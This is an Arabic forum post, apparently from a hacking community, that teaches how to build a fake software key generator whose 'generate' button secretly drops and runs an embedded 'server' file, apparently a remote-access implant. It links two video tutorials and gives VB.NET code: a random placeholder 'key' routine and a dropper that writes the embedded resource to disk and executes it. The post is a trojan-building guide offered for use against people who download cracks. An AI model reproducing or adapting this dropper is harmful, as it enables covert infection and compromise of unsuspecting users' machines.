عمل برنامج كيجن وتلغيم احد ازراره
 

http://im29.gulfup.com/2BP61.gif

موضوعي عن عمل برنامج كيجن وتلغيم احد ازراره

الشرح على جزئين ..

الجزء الاول :

http://www.youtube.com/watch?v=paILU...&feature=g-upl

الجزء الثاني:

http://www.youtube.com/watch?v=kHWtj...hannel&list=UL

كود الادراج generate

كود:
TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 1
TextBox1.Text = ""
Case 2
TextBox1.Text = ""
Case 3
TextBox1.Text = ""
كود تلغيم الزر

كود:
dim filename as string ="اسم السيرفر مع الامتداد"

io.file.writeallbytes(filename,my.resource.اسم السيرفر)

if io.file.exists(filename) then process.start(filename)

اهداء المشرفين والاعضاء

اتمنى ان تنال العجابكم ..